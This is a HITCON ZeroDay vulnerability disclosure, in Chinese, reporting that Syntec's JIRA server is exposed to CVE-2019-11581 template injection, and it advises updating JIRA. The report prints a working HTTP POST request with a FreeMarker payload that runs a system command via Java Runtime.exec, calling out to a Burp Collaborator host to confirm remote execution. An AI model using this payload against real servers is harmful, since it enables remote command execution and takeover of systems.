新代科技股份有限公司使用已知漏洞元件 CVE-2019–11581 (Atlassian JIRA Template Injection)

Vulnerability Overview

ZDID: ZD-2019-00685
發信 Vendor: 新代科技股份有限公司
Title: 新代科技股份有限公司使用已知漏洞元件 CVE-2019–11581 (Atlassian JIRA Template Injection)
Introduction: Template Injection

處理狀態

目前狀態

公開

Last Update : 2019/09/14

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2019/07/15 18:57:28 : 新提交 (由 Cyku 更新此狀態)
2019/07/15 19:00:30 : 新提交 (由 Cyku 更新此狀態)
2019/07/15 22:44:13 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/07/17 18:01:32 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/07/17 18:01:32 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/07/17 18:01:32 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2019/09/14 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2019-00685
通報者：kanade86514 (Cyku)
風險：高
類型：使用已知含漏洞之元件 (Using Known Vulnerable Components)

參考資料

系統使用已存在漏洞的元件，攻擊者可以利用該漏洞執行惡意指令，甚至操控系統。

漏洞說明： OWASP - Top 10 - 2017 A9 - Using Components with Known Vulnerabilities
https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

1.在主題 (Subject) 欄位塞入 FreeMarker Template 的語法，執行系統指令 "nslookup nypvk8awjetobxb1e08us96qjhp7dw.burpcollaborator.net"。

2.送出 POST 資料。

POST /secure/ContactAdministrators.jspa HTTP/1.1
Host: jira.syntecclub.com.tw
Referer: https://jira.syntecclub.com.tw/secure/ContactAdministrators!default.jspa
Content-Type: application/x-www-form-urlencoded
Content-Length: 583
Cookie: atlassian.xsrf.token=BA66-DTDT-NTYE-RGJL_71fb135fdea20a264d32e1b891c41f0d6b595851_lout; JSESSIONID=8609B4F8F9486AB8F7B90DDDD918D672
Connection: close

from=remind%40test.com&subject=$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('nslookup%20nypvk8awjetobxb1e08us96qjhp7dw.burpcollaborator.net').waitFor()&details=%E8%AB%8B%E5%B0%8F%E5%BF%83%EF%BC%8C%E5%8B%99%E5%BF%85%E5%8F%8A%E6%99%82%E6%9B%B4%E6%96%B0%E8%BB%9F%E9%AB%94%EF%BC%8C%E9%81%BF%E5%85%8D%E9%81%AD%E5%88%B0%E6%83%A1%E6%84%8F%E4%BA%BA%E5%A3%AB%E6%94%BB%E6%93%8A%EF%BC%81&atl_token=BA66-DTDT-NTYE-RGJL_71fb135fdea20a264d32e1b891c41f0d6b595851_lout&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81

3.透過 Burp Collaborator 工具確認收到 DNS 查詢請求，確認成功執行 nslookup 系統指令。

參考資料：

修補建議

立即更新 Jira 軟體至最新版本，更多細節可參考官方文章：
https://community.atlassian.com/t5/Jira-articles/CVE-2019-11581-Critical-Security-Advisory-for-Jira-Server-and/ba-p/1128241

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

新代科技股份有限公司使用已知漏洞元件 CVE-2019–11581 (Atlassian JIRA Template Injection) - HITCON ZeroDay

Vulnerability Detail Report